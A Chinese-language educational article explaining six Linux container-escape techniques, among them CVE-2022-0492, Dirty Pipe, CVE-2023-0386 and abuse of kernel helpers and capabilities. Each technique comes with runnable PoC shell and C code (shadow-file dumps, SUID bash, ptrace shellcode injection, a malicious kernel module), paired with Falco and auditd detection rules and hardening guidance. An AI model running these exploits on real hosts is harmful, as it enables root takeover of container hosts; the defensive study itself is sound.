免责声明
本文档仅供网络安全技术研究与教育目的使用,严禁用于任何未经授权的系统访问或攻击活动。文中所有技术细节、PoC代码和攻击方法均基于已公开的安全研究与CVE披露,旨在帮助安全从业者理解和防御容器逃逸威胁。
引言:容器与虚拟机的根本差异
要理解容器逃逸的本质,必须先回到容器与虚拟机在架构层面的根本差异。
虚拟机(VM)通过 Hypervisor 提供硬件级隔离,每个 VM 拥有独立的内核。而容器并非一个"轻量级虚拟机"——它本质上只是宿主机上一个被 namespaces(命名空间)和 cgroups(控制组)"装扮"过的普通进程。所有容器共享同一个宿主机内核。
一个更准确的隐喻是:容器是"戴着不同 VR 头盔的进程"。Namespaces 决定了进程能"看到"什么(视图隔离),cgroups 决定了进程能用多少资源(配额隔离),但底下那个真实运转的内核("真实世界")只有一个,所有容器都在与它对话。
┌──────────────────────────────────────────────────┐│ 虚拟机架构(每 VM 独立内核) ││ ┌─────────┐ ┌─────────┐ ┌─────────┐ ││ │Guest 内核│ │Guest 内核│ │Guest 内核│ ││ └────┬────┘ └────┬────┘ └────┬────┘ ││ │ │ │ ││ ┌────┴───────────┴───────────┴────┐ ││ │ Hypervisor / VMM │ ││ └────────────────┬────────────────┘ ││ │ │└───────────────────┼──────────────────────────────┘│硬件 CPU┌──────────────────────────────────────────────────┐│ 容器架构(共享宿主内核,仅视图隔离) ││ ┌─────────┐ ┌─────────┐ ┌─────────┐ ││ │ 容器 A │ │ 容器 B │ │ 容器 C │ ← 进程 ││ │NS+Cgroup│ │NS+Cgroup│ │NS+Cgroup│ "VR头盔" ││ └────┬────┘ └────┬────┘ └────┬────┘ ││ └───────────┼───────────┘ ││ ┌────┴────┐ ││ │宿主机内核│ ← 唯一真实世界 ││ └────┬────┘ │└───────────────────┼──────────────────────────────┘│硬件 CPU
正是这种"共享内核"的设计,使得容器逃逸的攻击面与虚拟机逃逸截然不同。虚拟机逃逸需要攻破 Hypervisor(极难),而容器逃逸只要找到内核中"不尊重命名空间边界"的代码路径即可。
按根因与攻击难度,容器逃逸可分为三个层次:
| 层次 | 描述 | 占比(经验估计) | 典型代表 |
|---|---|---|---|
| 第一层:配置不当 | 特权容器、危险挂载、过度 capabilities | 90%+ | --privileged、hostPID、挂载 / |
| 第二层:隔离机制设计假设被打破 | 内核 helper、页缓存、copy-up 等未考虑 NS 隔离 | ~8% | cgroup release_agent、Dirty Pipe、OverlayFS |
| 第三层:纯内核漏洞 | 内核内存破坏类 0day | ~2% | 各类 UAF/堆溢出 |
第一层是"运维失误",第二层是"内核设计缺陷"——本文聚焦的正是第二层与第一层的交界地带:六种直接与宿主内核对话的逃逸技术。它们之所以危险,是因为攻击者并不需要打内核内存破坏漏洞,而是利用内核自身提供的、本应"只给宿主 root 用"的合法机制,而这些机制压根不感知容器的命名空间边界。
技术一:Cgroup release_agent 利用(CVE-2022-0492)
原理
Cgroup v1 提供了一个 release_agent 机制:当某个 cgroup 中最后一个进程退出时,内核会调用该 cgroup 配置的 release_agent 脚本。关键问题在于——这个脚本是以 root 身份、在宿主机初始命名空间(initial namespace)中执行的,相当于直接以宿主机 root 身份运行任意命令。
release_agent 的初衷是做资源清理(比如回收 cgroup 目录),但它本质上是宿主机的一个"以 root 主动执行任意路径脚本"的钩子,与容器隔离毫无关系。
容器内进程退出 cgroup│▼内核检测 cgroup 为空(notify_on_release=1)│▼内核以 init_ns root 身份调用 release_agent 路径│▼★ 在宿主机初始命名空间执行 ★(不受容器 NS 约束)
漏洞根因
正常情况下,设置 release_agent 需要 CAP_SYS_ADMIN 权限。但 CVE-2022-0492 的根因在于:内核 cgroup_release_agent_write() 函数在检查权限时,使用的是 ns_capable() 而非 ns_capable(..., &init_user_ns)。
ns_capable() 默认针对当前进程所在的 user namespace 进行检查。这意味着,一个普通容器进程只要能通过 unshare -Ur 创建一个新的 user namespace,就能在该新 userns 内获得 CAP_SYS_ADMIN(user namespace 的特性:在新 userns 内自动拥有全部 capabilities),从而满足检查,进而设置 release_agent。
补丁(内核 5.17 合入)将检查改为 ns_capable(..., &init_user_ns),强制要求权限来自初始用户命名空间。
PoC 代码
#!/bin/bash
# CVE-2022-0492 cgroup v1 release_agent 逃逸 PoC
# 前提:容器允许 user namespace(未禁用 unshare -Ur)# 1. 创建新的 user + mount + cgroup namespace,在其中获得 CAP_SYS_ADMIN
unshare -urmc bash -c '# 2. 挂载一个 cgroup v1 子系统mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrpmkdir /tmp/cgrp/x# 3. 开启 notify_on_releaseecho 1 > /tmp/cgrp/x/notify_on_release# 4. 获取容器在宿主机上的真实路径(overlay upperdir)host_path=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab)# 5. 将 release_agent 指向宿主机路径下的 payloadecho "$host_path/cmd" > /tmp/cgrp/x/release_agent
'# 6. 在容器内写入 payload(对应宿主机 upperdir 路径)
cat > /cmd <<EOF
#!/bin/sh
cat /root/flag.txt > /output 2>&1
EOF
chmod +x /cmd# 7. 触发:让一个进程进入该 cgroup 然后退出
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs && sleep 1"
检测
Falco 规则示例:
- rule: Cgroup release_agent Modified in Containerdesc: 检测容器内修改 cgroup release_agent,疑似 CVE-2022-0492 逃逸condition: >container.id != host and(open_write and fd.name contains "release_agent")output: >Suspicious release_agent write (user=%user.namecontainer=%container.id image=%container.image.repositoryfile=%fd.name command=%proc.cmdline)priority: WARNINGtags: [container, escape, mitre_privilege_escalation]
防御
| 防御措施 | 说明 |
|---|---|
| 升级内核至 5.17+ | 修复权限检查,强制要求 init_user_ns 的 CAP_SYS_ADMIN |
| 迁移至 cgroup v2 | v2 的 release_agent 机制被移除/收紧 |
| seccomp 阻止 mount | 在 seccomp profile 中禁止 mount 系统调用 |
| 禁用 user namespace | 设置 user.max_user_namespaces=0,阻断 unshare -Ur |
技术二:Namespace 切换 / Unshare 逃逸
原理
Namespace 是容器隔离的基石,但它并非单向"关押"——进程可以主动通过系统调用加入其他 namespace。setns() 系统调用允许一个进程通过一个指向 /proc/<pid>/ns/<type> 的文件描述符,把自己"切换"到目标进程所在的命名空间。这正是 nsenter 工具的底层实现。
如果容器能访问到宿主机进程的 namespace fd(例如特权容器 + hostPID),那么容器进程可以直接 setns 进入宿主机 PID/mount/net 等命名空间,从而"逃出"容器。
三个关键系统调用
| 系统调用 | 作用 | 是否创建新进程 | 典型场景 |
|---|---|---|---|
clone() |
创建新进程并可同时进入新的命名空间 | 是(新进程) | fork 出隔离子进程 |
unshare() |
将当前进程移入新创建的命名空间 | 否(修改自身) | 容器 runtime 自隔离 |
setns() |
将当前进程加入一个已存在的命名空间(通过 fd) | 否(修改自身) | nsenter、调试、逃逸 |
setns() 工作流:┌──────────────┐ fd = open("/proc/1/ns/mnt")│ 容器进程 │ ────────────────────────────────────┐│ (在容器NS) │ │└──────┬───────┘ ▼│ setns(fd, CLONE_NEWNS) ┌─────────────────┐│ ─────────────────────────────────►│ 宿主机 PID 1 的 ││ │ mount namespace │▼ └─────────────────┘┌──────────────┐│ 容器进程 │ ← 现在视图切换到宿主机 mount NS│ (在宿主NS) │ 可访问宿主机文件系统└──────────────┘
PoC:三种场景
场景 A:特权容器 + hostPID
最简单。容器拥有宿主机 PID 命名空间,可直接看到并操作 PID 1:
# 容器以 --privileged --pid=host 启动
nsenter -t 1 -m -u -i -n -- /bin/sh
# 直接获得宿主机 shell
场景 B:CAP_SYS_ADMIN + unshare
容器拥有 CAP_SYS_ADMIN,可 unshare 新命名空间后挂载宿主机文件系统:
unshare -m bash -c 'mkdir /tmp/hostmount /dev/sda1 /tmp/host # 挂载宿主根分区chroot /tmp/host /bin/sh
'
场景 C:通过 /proc/pid/root 符号链接
即使没有 hostPID,若挂载了宿主机 /proc 或可访问某宿主进程的 /proc/<pid>/root:
ls -la /proc/1/root # -> 指向宿主机根目录
chroot /proc/1/root /bin/sh
C 代码示例
#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>int main(int argc, char *argv[]) {int target_pid = 1; // 宿主机 init 进程// 1. 打开目标进程各命名空间的 fdchar ns_path[64];snprintf(ns_path, sizeof(ns_path), "/proc/%d/ns/mnt", target_pid);int mnt_fd = open(ns_path, O_RDONLY);snprintf(ns_path, sizeof(ns_path), "/proc/%d/ns/pid", target_pid);int pid_fd = open(ns_path, O_RDONLY);snprintf(ns_path, sizeof(ns_path), "/proc/%d/ns/net", target_pid);int net_fd = open(ns_path, O_RDONLY);// 2. 依次 setns 加入宿主机命名空间setns(mnt_fd, CLONE_NEWNS);setns(pid_fd, CLONE_NEWPID);setns(net_fd, CLONE_NEWNET);// 3. 切换根目录并执行宿主机 shellchdir("/proc/1/root");chroot("/proc/1/root");execl("/bin/sh", "sh", NULL);return 0;
}
检测
- rule: Namespace Enter From Containerdesc: 检测容器内执行 nsenter/unshare,疑似命名空间逃逸condition: >container.id != host and(proc.name in (nsenter, unshare) orspawned_process and proc.args contains "/proc/")output: >Namespace manipulation in container(user=%user.name container=%container.idproc=%proc.name args=%proc.cmdline)priority: CRITICALtags: [container, escape]
防御
| 防御措施 | 说明 |
|---|---|
| 禁止 hostPID / hostIPC / hostNetwork | 切断容器访问宿主进程的 namespace fd |
| 限制 user namespace | user.max_user_namespaces=0 |
| seccomp 阻止 setns/unshare | 在 seccomp profile 中 deny 这两个系统调用 |
| 避免特权容器 | 杜绝 --privileged,按需授予单个 capability |
技术三:procfs/sysfs 滥用
原理
Linux 内核提供了一系列 "helper" 机制:当某些内核事件发生时,内核会主动调用用户空间配置的某个程序路径。这些 helper 的设计早于容器化时代,它们完全不受命名空间隔离约束,且执行身份为宿主机 root(pid 1 上下文)。
这意味着:只要容器能写这些 /proc/sys/... 或 /sys/... 路径,就等于获得了一个宿主机 root 命令执行钩子。
三个高危路径
| 路径 | 触发时机 | 执行身份 | 危险性 |
|---|---|---|---|
/proc/sys/kernel/core_pattern |
进程崩溃产生 core dump | 宿主 root,在崩溃进程的 cwd | 极高 |
/proc/sys/kernel/modprobe_path |
内核请求加载模块 | 宿主 root | 极高 |
/sys/kernel/uevent_helper |
设备热插拔事件 | 宿主 root | 高 |
PoC:core_pattern 逃逸
core_pattern 以 | 开头时,内核会将崩溃进程的 core dump 通过管道传给指定程序,该程序以宿主机 root 身份执行。
#!/bin/bash
# core_pattern 逃逸 PoC(需要容器能写 /proc/sys/kernel/core_pattern)# 1. 获取容器在宿主机的真实路径
host_path=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab)# 2. 准备 payload,输出到容器内可见路径
cat > /cmd <<EOF
#!/bin/sh
id > $host_path/output
cat /etc/shadow >> $host_path/output
EOF
chmod +x /cmd# 3. 将 core_pattern 指向 payload(| 表示管道执行)
echo "|$host_path/cmd" > /proc/sys/kernel/core_pattern# 4. 触发一个进程崩溃,内核将以 root 调用 /cmd
sleep 1000 &
kill -SIGSEGV %1
wait# 5. 读取结果
cat /output
触发流程:┌─────────────┐ SIGSEGV ┌──────────────┐│ sleep 1000 │ ─────────────► │ 内核收到崩溃 │└─────────────┘ └──────┬───────┘│ 查 core_pattern▼┌────────────────────┐│ |<host_path>/cmd │└─────────┬──────────┘│ 以宿主 root 执行▼┌────────────────────┐│ /cmd 在宿主 NS 运行 ││ → 写出 shadow │└────────────────────┘
PoC:modprobe_path 滥用
modprobe_path 在内核需要加载未知模块时被调用,例如执行一个未知二进制格式:
# 1. 获取宿主路径并准备 payload
host_path=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab)
echo -e "#!/bin/sh\nchmod 4777 /bin/bash" > /cmd
chmod +x /cmd# 2. 覆盖 modprobe_path
echo "$host_path/cmd" > /proc/sys/kernel/modprobe_path# 3. 触发:执行一个未知 magic 的二进制
# 内核会调用 modprobe_path 指向的程序
echo -ne '\xff\xff\xff\xff' > /tmp/unknown
chmod +x /tmp/unknown
/tmp/unknown 2>/dev/null# 4. 现在 /bin/bash 是 SUID root
/bin/bash -p
PoC:uevent_helper 滥用
host_path=$(sed -n "s/.*\perdir=\([^,]*\).*/\1/p" /etc/mtab)
echo -e "#!/bin/sh\n$host_path/cmd_payload" > /cmd
chmod +x /cmd
echo "$host_path/cmd" > /sys/kernel/uevent_helper
# 触发一个 uevent(如操作 /sys/class/net 设备)
echo "change" > /sys/class/net/eth0/uevent
检测
- rule: Kernel Helper Path Modified in Containerdesc: 检测容器内修改 core_pattern/modprobe_path/uevent_helpercondition: >container.id != host andopen_write and(fd.name=/proc/sys/kernel/core_pattern orfd.name=/proc/sys/kernel/modprobe_path orfd.name=/sys/kernel/uevent_helper)output: >Kernel helper path tampering(file=%fd.name container=%container.idproc=%proc.cmdline user=%user.name)priority: CRITICALtags: [container, escape, kernel]
防御
| 防御措施 | 说明 |
|---|---|
/proc 和 /sys 只读挂载 |
容器 runtime 默认应只读挂载 procfs/sysfs |
| AppArmor/SELinux 屏蔽 | profile 中 deny 写这些危险路径 |
| 禁止特权容器 | 写 /proc/sys 需要 CAP_SYS_ADMIN |
| 内核 hardening | 部分发行版可配置 kernel.modules_disabled=1 |
技术四:页缓存共享攻击(Dirty Pipe, CVE-2022-0847)
原理
这是容器逃逸中最"优雅"的一类——它利用的不是命名空间漏洞,而是 Linux 页缓存(page cache)的全局共享特性,配合一个内核 bug,实现"以普通权限覆盖只读文件内容"。
背景知识:Linux 通过页缓存加速文件 I/O。同一个文件的所有进程共享同一份页缓存副本,与命名空间无关。这意味着容器内进程修改页缓存,等于修改了宿主机上所有进程看到的文件内容。
漏洞根因:在 splice() 系统调用向 pipe 写入数据的路径中,内核未正确清除 pipe_buffer 结构体中的 PIPE_BUF_FLAG_CAN_MERGE 标志位。正常情况下 pipe 写入应该追加在末尾,但由于该标志位残留,写入会"合并"到 splice 进来的那个页——而这个页正是目标文件在页缓存中的页。
效果:攻击者可以对任意有读权限的文件(包括只读挂载的文件)进行任意写入,覆盖其页缓存内容。
正常 pipe 写入:追加到 pipe 末尾新页┌────┬────┬────┬────┐│ p0 │ p1 │ p2 │ p3 │ ← write 在末尾追加└────┴────┴────┴────┘Dirty Pipe:splice 注入目标文件页,CAN_MERGE 残留┌────┬────┬────┬──────────────┐│ p0 │ p1 │ p2 │ 目标文件页!! │ ← write 覆盖了目标文件页缓存└────┴────┴────┴──────┬───────┘│ 该页同时映射到目标文件▼文件内容被篡改(绕过 VFS 权限)
6 步利用序列(C 代码)
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>int main() {const char *target = "/etc/passwd";// 要写入的内容:在偏移 1 处覆盖,使 root 行密码置空const char *data = "toor::0:0:root:/root:/bin/sh\n";// 步骤 1:以只读方式打开目标文件(只需读权限即可!)int fd = open(target, O_RDONLY);if (fd < 0) { perror("open"); return 1; }// 步骤 2:创建一个 pipeint p[2];pipe(p);// 步骤 3:填满 pipe(16 个页,让所有 pipe_buffer 的 CAN_MERGE 置位)char buf[4096];for (int i = 0; i < 16; i++) {write(p[1], buf, sizeof(buf));}// 步骤 4:排出 1 个字节(让 pipe 头部空出一个页,offset=1)read(p[0], buf, 1);// 步骤 5:用 splice 把目标文件偏移 1 处的 1 字节"注入"pipe// 关键:这一步让目标文件的页进入 pipe_buffer,// 但 CAN_MERGE 标志位未被清除loff_t offset = 1;ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);if (nbytes < 0) { perror("splice"); return 1; }// 步骤 6:向 pipe 写入数据 —— 由于 CAN_MERGE 残留,// 数据被合并到目标文件页缓存,等于覆盖文件偏移 1 处内容write(p[1], data, strlen(data));printf("[+] 文件页缓存已被覆盖\n");close(fd);return 0;
}
容器逃逸路径
容器内的攻击目标通常是宿主机文件系统中存在的 SUID 二进制(如 /bin/su、/usr/bin/passwd),它们通过容器 overlay 挂载仍然映射到同一份页缓存。攻击者覆盖 SUID 二进制的内容为恶意 shellcode,随后宿主机或高权限进程执行它即可获得 root。
容器内 宿主机┌──────────────────┐ ┌──────────────────────┐│ 覆盖 /bin/passwd │ │ ││ 页缓存为 shellcode│ ──同一页缓存─►│ /bin/passwd 内容被改 │└──────────────────┘ │ ││ 任意用户执行 su ││ → 运行 shellcode ││ → 宿主 root shell │└──────────────────────┘
关键特性
| 特性 | 说明 |
|---|---|
| 无需 capabilities | 只要能读目标文件即可,普通用户权限足矣 |
| 无竞态条件 | 同步操作,100% 可靠,非 TOCTOU |
| readOnly 挂载无效 | 只读挂载只影响 VFS 写路径,页缓存绕过 VFS |
| 重启失效 | 页缓存是内存态,重启后恢复磁盘原始内容 |
| 影响内核 | 5.8 ≤ 内核 < 5.16.11 / 5.15.25 / 5.10.102 |
检测
Datadog CWS(Cloud Workload Security)规则示例:
- rule: Dirty Pipe File Overwrite Attemptdesc: 检测 splice 后立即 write 的模式,疑似 CVE-2022-0847condition: >syscall.splice and(syscall.write within 1s) andproc.container.id != ""output: >Possible Dirty Pipe exploitation(container=%container.id proc=%proc.cmdlinefile=%syscall.splice.args.fd_out)priority: CRITICALtags: [cve-2022-0847, container_escape]
防御
| 防御措施 | 说明 |
|---|---|
| 升级内核 | 升级到 ≥5.16.11 / ≥5.15.25 / ≥5.10.102 |
| seccomp 阻止 splice/tee/vmsplice | deny 这些系统调用可阻断利用路径 |
| Rootless 容器 | rootless 模式下容器进程映射到非 root uid,限制可写目标 |
| 最小文件权限 | 减少容器可读的 SUID 二进制 |
技术五:OverlayFS 漏洞利用(CVE-2023-0386)
原理
OverlayFS 是容器镜像的默认存储驱动,通过"叠加" lowerdir(只读镜像层)和 upperdir(可写层)实现分层文件系统。当容器对 lower 层文件进行写操作时,OverlayFS 会触发 copy-up:将文件从 lower 复制到 upper。
CVE-2023-0386 的根因在于:copy-up 操作在复制文件时未检查文件的 SUID 位和 UID/GID 映射。这导致一个位于 lower 层(如 FUSE 挂载)的 SUID-root 二进制,被 copy-up 到 upper 层后,依然保留 SUID 位,且其属主被映射为宿主机真实 root。
攻击者借此"走私"一个 SUID root 二进制到宿主机文件系统,随后在宿主机上执行它即可提权。
攻击链:┌──────────────┐ 1. FUSE 挂载含 SUID-root 二进制(lower)│ FUSE 源 │ ─────────────────────────────────────────┐│ suid x.c │ │└──────────────┘ ▼2. unshare user+mount NS ┌────────┐3. mount overlay(lower=FUSE) │ lower │ SUID root4. touch 触发 copy-up └───┬────┘copy-up(不检查映射)▼┌────────┐│ upper │ SUID root│ 保留 │ → 宿主真实 root└────────┘5. exit NS → 文件留在宿主机可见的 upper6. 宿主机执行该 SUID 二进制 → root
补丁分析
漏洞补丁在 ovl_copy_up_one() 中增加了 kuid_has_mapping() 检查:copy-up 时验证源文件的 kuid/kgid 是否在目标 mount 的 user namespace 中有映射。若无映射(如 FUSE 中的全局 root uid),则拒绝 copy-up 或剥离 SUID 位。
// 补丁核心逻辑(简化)
static int ovl_copy_up_one(struct dentry *parent, ...) {...// 新增:检查 UID/GID 映射if (!kuid_has_mapping(&mnt->mnt_sb->s_user_ns, stat.uid) ||!kgid_has_mapping(&mnt->mnt_sb->s_user_ns, stat.gid)) {// 拒绝保留 SUID/SGIDstat.mode &= ~(S_ISUID | S_ISGID);}...
}
PoC
步骤 1:FUSE 伪装 SUID 二进制
// fuse_suid.c —— FUSE 文件系统返回一个 SUID-root 二进制
#define FUSE_USE_VERSION 31
#include <fuse3/fuse.h>
#include <string.h>
#include <sys/stat.h>static const char *suid_binary ="\x7f\x45\x4c\x46" /* ELF magic,此处省略完整 shellcode */;static int myfs_getattr(const char *path, struct stat *st, ...) {if (strcmp(path, "/suid") == 0) {st->st_mode = S_IFREG | 04755; // SUID + 0755st->st_uid = 0; // rootst->st_size = strlen(suid_binary);return 0;}return -ENOENT;
}
// ... fuse 操作实现省略
步骤 2:触发 copy-up 并执行
#!/bin/bash
# CVE-2023-0386 OverlayFS SUID 走私 PoC# 1. 启动 FUSE 文件系统,提供 SUID-root 二进制
./fuse_suid /tmp/fuse_lower &# 2. 在 user+mount namespace 中挂载 overlay
unshare -UrM bash -c 'mkdir /tmp/overlay/{upper,work,mnt}mount -t overlay overlay \-o lowerdir=/tmp/fuse_lower,upperdir=/tmp/overlay/upper,workdir=/tmp/overlay/work \/tmp/overlay/mnt# 3. touch 触发 copy-up(FUSE 的 SUID 二进制被复制到 upper)touch /tmp/overlay/mnt/suid
'# 4. 退出 namespace 后,upper 中的 suid 仍为 SUID-root
ls -la /tmp/overlay/upper/suid
# -rwsr-xr-x 1 root root ... /tmp/overlay/upper/suid# 5. 在宿主机上以普通用户执行 → 提权到 root
/tmp/overlay/upper/suid
SUID 提权二进制 C 代码:
// suid_root.c —— 编译后设置 SUID 位
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>int main() {// SUID 程序以文件属主身份执行 → rootif (setuid(0) || setgid(0)) {perror("setuid");return 1;}printf("[+] now root: uid=%d euid=%d\n", getuid(), geteuid());system("/bin/sh");return 0;
}
检测
auditd 规则,监控 overlay 文件的 SUID 位创建:
# /etc/audit/rules.d/overlay.rules
-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \-F dir=/var/lib/docker -F a2&04000 -k overlay_suid_set
-a always,exit -F arch=b64 -S mount -k overlay_mount
防御
| 防御措施 | 说明 |
|---|---|
| 升级内核至 6.2+ | 合入 kuid_has_mapping 检查 |
| 禁用 user namespace | user.max_user_namespaces=0,阻断 unshare 挂载 overlay |
| 限制 FUSE | seccomp/AppArmor 禁止容器内 FUSE 挂载 |
| 监控 SUID 创建 | auditd 监控 overlay 目录中 SUID 位变更 |
技术六:内核 Capabilities 滥用
原理
Linux capabilities 将传统 root 权限拆分为数十个细粒度权限位。容器通常以 root 运行,但通过"丢弃"部分 capabilities 来降权。然而,部分单个 capability 本身就足以等同宿主机 root——一旦容器保留了这些危险 capability,逃逸门槛骤降。
capabilities 是内核级概念,不受容器命名空间约束:拥有 CAP_SYS_ADMIN 的容器进程对内核而言就是"在当前 userns 内的特权进程"。
最危险 capabilities
| Capability | 危险能力 | 逃逸利用 |
|---|---|---|
| CAP_SYS_ADMIN | "新 root",可挂载、改 cgroup、ioctrl | 几乎所有上述技术的前置条件 |
| CAP_SYS_MODULE | 加载/卸载内核模块 | insmod 恶意 .ko,内核态任意代码 |
| CAP_SYS_PTRACE | ptrace 任意进程 | 进程注入、读取宿主进程内存 |
| CAP_SYS_RAWIO | 原始 I/O 访问 | 直接读写 /dev/mem、磁盘设备 |
| CAP_DAC_READ_SEARCH | 绕过文件读权限检查 | 读取宿主机任意文件 |
| CAP_NET_ADMIN | 网络配置 | 修改路由、创建网卡、ARP 欺骗 |
PoC:三种典型滥用
1. CAP_SYS_ADMIN → cgroup 逃逸
即技术一的后半段(无需 unshare,直接有权限):
# 容器以 --cap-add SYS_ADMIN 启动
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/x/release_agent
echo -e '#!/bin/sh\nchmod 4777 /bin/bash' > /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs && sleep 1"
2. CAP_SYS_PTRACE → 进程注入(C 代码)
需配合 hostPID 看到宿主机进程:
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <stdio.h>
#include <string.h>// 经典 shellcode:execve("/bin/sh")
char shellcode[] ="\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0""\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53""\x48\x89\xe7\xb0\x3b\x0f\x05";int main(int argc, char *argv[]) {pid_t target = atoi(argv[1]); // 宿主机进程 PID// 1. 附加到目标进程if (ptrace(PTRACE_ATTACH, target, NULL, NULL) < 0) {perror("PTRACE_ATTACH"); return 1;}waitpid(target, NULL, 0);// 2. 获取寄存器struct user_regs_struct regs;ptrace(PTRACE_GETREGS, target, NULL, ®s);// 3. 逐字注入 shellcode 到 RIP 处long *src = (long *)shellcode;for (int i = 0; i < sizeof(shellcode) / sizeof(long); i++) {ptrace(PTRACE_POKETEXT, target,regs.rip + i * sizeof(long), src[i]);}// 4. 恢复执行,目标进程以宿主身份跑 shellcodeptrace(PTRACE_CONT, target, NULL, NULL);// 5. 分离ptrace(PTRACE_DETACH, target, NULL, NULL);return 0;
}
3. CAP_SYS_MODULE → 加载内核模块
# 准备一个恶意内核模块 init_module 会调用 run_cmd
cat > rootkit.c <<'EOF'
#include <linux/module.h>
#include <linux/kmod.h>
static int __init rootkit_init(void) {char *argv[] = {"/bin/sh", "-c", "chmod 4777 /bin/bash", NULL};char *envp[] = {"PATH=/usr/bin", NULL};call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);return 0;
}
module_init(rootkit_init);
MODULE_LICENSE("GPL");
EOF# 编译并加载(CAP_SYS_MODULE 直接 insmod)
make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
insmod rootkit.ko
# /bin/bash 现已 SUID root
检测
- rule: Suspicious Capability Usage in Containerdesc: 检测容器内 ptrace/insmod/cgroup 挂载等危险操作condition: >container.id != host and(proc.name=insmod orproc.name in (strace, gdb, ltrace) or(open_write and fd.name contains "cgroup.procs"))output: >Dangerous capability usage(container=%container.id proc=%proc.namecmdline=%proc.cmdline)priority: CRITICALtags: [container, escape, capabilities]
防御
| 防御措施 | 说明 |
|---|---|
--cap-drop ALL |
丢弃所有 capabilities,按需 --cap-add 极少项 |
K8s PSS restricted |
Pod Security Standards restricted 策略禁止多数 cap |
| seccomp 默认 profile | 限制 ptrace/module 相关系统调用 |
| 审计 SUID/SGID | 定期扫描容器内新增的 SUID 二进制 |
综合防御架构
容器逃逸防御是一个纵深体系,单点防护难以奏效。以下是综合方案。
1. K8s 最小权限 Pod 配置示例
apiVersion: v1
kind: Pod
metadata:name: hardened-applabels:app: hardened-app
spec:# 1. 强制非 root 运行securityContext:runAsNonRoot: truerunAsUser: 10001runAsGroup: 10001fsGroup: 10001seccompProfile:type: RuntimeDefault # 启用默认 seccomp profilecontainers:- name: appimage: myapp:1.0# 2. 容器级安全加固securityContext:allowPrivilegeEscalation: false # 禁止 SUID 提权privileged: false # 非特权readOnlyRootFilesystem: true # 根文件系统只读runAsNonRoot: truecapabilities:drop: # 丢弃所有 capabilities- ALL# add: [] # 仅按需添加,原则上留空# 3. 资源与挂载最小化resources:limits:memory: "256Mi"cpu: "500m"volumeMounts:- name: tmpmountPath: /tmpvolumes:- name: tmpemptyDir: {} # 可写临时目录# 4. 禁止 host 命名空间共享hostPID: falsehostIPC: falsehostNetwork: false
2. OPA Gatekeeper 策略(阻止特权 Pod)
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:name: k8sdisallowprivileged
spec:crd:spec:names:kind: K8sDisallowPrivilegedtargets:- target: admission.k8s.gatekeeper.shrego: |package k8sdisallowprivilegedviolation[{"msg": msg}] {container := input.review.object.spec.containers[_]container.securityContext.privileged == truemsg := sprintf("容器 %v 禁止使用 privileged: true", [container.name])}violation[{"msg": msg}] {container := input.review.object.spec.containers[_]cap := container.securityContext.capabilities.add[_]cap == "SYS_ADMIN"msg := sprintf("容器 %v 禁止添加 CAP_SYS_ADMIN", [container.name])}violation[{"msg": msg}] {input.review.object.spec.hostPID == truemsg := "禁止使用 hostPID"}
---
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sDisallowPrivileged
metadata:name: no-privileged-pods
spec:match:kinds:- apiGroups: [""]kinds: ["Pod"]excludedNamespaces: ["kube-system"]
3. 六种技术对比总结表
| 技术 | CVE | 根因 | 前提条件 | 影响内核版本 | 是否需要特权 |
|---|---|---|---|---|---|
| Cgroup release_agent | CVE-2022-0492 | 权限检查用 ns_capable 未限定 init_user_ns | user namespace 可用 + cgroup v1 | < 5.17 | 否(unshare 即可) |
| Namespace 切换 | — | setns 合法机制被滥用 | hostPID / CAP_SYS_ADMIN / 可访问 /proc/pid/ns | 全版本 | 视场景而定 |
| procfs/sysfs 滥用 | — | 内核 helper 不感知 NS 隔离 | 可写 /proc/sys(CAP_SYS_ADMIN 或特权) | 全版本 | 是(需写 /proc/sys) |
| Dirty Pipe | CVE-2022-0847 | splice 未清除 PIPE_BUF_FLAG_CAN_MERGE | 可读目标文件 | 5.8 ~ 5.16.10 | 否(普通权限) |
| OverlayFS copy-up | CVE-2023-0386 | copy-up 未检查 kuid 映射,走私 SUID | user namespace + FUSE | < 6.2 | 否(unshare + FUSE) |
| Capabilities 滥用 | — | 单个 cap 等同 root | 容器保留危险 cap | 全版本 | 视 cap 而定 |
4. 纵深防御清单
应用层 ┌─────────────────────────────────────────┐│ OPA Gatekeeper / Kyverno 准入控制 ││ Pod Security Standards (restricted) │├─────────────────────────────────────────┤容器层 │ runAsNonRoot / readOnlyRootFS ││ seccomp RuntimeDefault / 自定义 profile ││ cap-drop ALL / AppArmor / SELinux │├─────────────────────────────────────────┤内核层 │ 及时升级内核 / 禁用 user namespace ││ cgroup v2 / 模块签名 / lockdown │├─────────────────────────────────────────┤运行时 │ Falco / Datadog CWS / Elastic Security │检测 │ auditd / eBPF 行为基线告警 │├─────────────────────────────────────────┤主机层 │ 内核加固(grsec/KSPP) / 最小化宿主进程 ││ EDR / 文件完整性监控 │└─────────────────────────────────────────┘
5. 关键内核参数加固
# /etc/sysctl.d/99-container-hardening.conf# 禁用 user namespace(阻断 unshare 逃逸路径,按需评估业务影响)
user.max_user_namespaces = 0# 禁止非签名内核模块加载(阻断 CAP_SYS_MODULE)
